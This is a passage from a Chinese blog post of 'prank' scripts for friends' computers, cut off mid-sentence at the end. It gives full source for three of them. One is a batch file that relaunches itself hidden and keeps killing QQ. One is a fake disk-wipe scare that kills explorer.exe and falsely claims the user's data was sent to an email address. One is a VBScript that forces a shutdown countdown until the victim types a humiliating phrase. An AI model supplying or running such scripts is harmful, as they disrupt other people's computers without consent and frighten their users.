【整蛊小神器合集】听说：你的朋友很多？那试试这几款小程序嘛~（附：多份源码）_制裁朋友小程序

 导语

哈喽！哈喽！我是木木子，最近沉迷整蛊这种类型的代码，特别有趣好玩！

虽然踩中了特别多的坑，但是越玩越上瘾呀！这里整理了蛮多整蛊的代码，好东西就是需要分享的嘛~

每周一招维护友谊的小秘诀，欢迎大家来到木木子新开的——友（zheng）爱（gu）小课堂！

今天木木子给大家带来了几个，整蛊朋友的办法，赶快拉上至今还陪在你身边的老铁试一试这几招吧！

如果是发给你喜欢的人的，肯定追着你！想让女神/男神追着你跑嘛？那还不赶紧的学起来！

​

​

正文

Come On 我们来点有技术的！嘿嘿嘿~

（1）杀死ta的QQ。

@echo off
if "%1" == "h" goto begin
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit
:begin
tasklist |find /i "QQ.exe"
if %errorlevel%==0 (goto killit) else (goto next)
:killit
taskkill /f /im QQ.exe
:next
ping -n 3 127.t >nul 2>nul
goto begin 

把以上代码保存成txt格式，然后把后缀改成bat,然后双击运行嘿嘿，那他的qq就不能运行了哟~

​（2）格式化磁盘。

@ color 4f 
    @echo off
    echo 删除计算机的C盘的所有文件......
    ping 127.0.0.1 /n 2 >nul
    echo 已删除完毕
    echo.
    echo 删除计算机的D盘的所有文件......
    ping 127.0.0.1 /n 2 >nul
    echo 已删除完毕
    echo.
    echo 删除计算机的E盘的所有文件......
    ping 127.0.0.1 /n 2 >nul
    echo 已删除完毕
    @ color
    echo.
    echo. =========================================
    echo. 啊哈哈，都删关，都杀关，哈哈 ……
    echo. =========================================
    echo. 系统将马上崩溃......
    echo. 这是一个木马程序......您的所有资料已经传到 XXXX@163.com
    shutdown /r /t 30 /c "电脑在30s内即将崩溃,哈哈，你活该！"
    ntsd -c q -pn explorer.exe
    ping 127.0.0.1 /n 20 >nul
    start explorer.exe
    shutdown -a

将以上部分保存到txt格式，然后把后缀改成bat就可以运行了，运行后他的磁盘会被格式化。

当然那是假的。。。用来吓人的。。。希望你玩的愉快。。。

（3）让ta说ta是猪。

set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""说我是猪，不说我是猪就一分钟关机，不信，试下···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪""    ","说不说","",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"

新建一个记事本 把上面的代码复制进去 另存为VBE格式的就可以了，让对方说 他是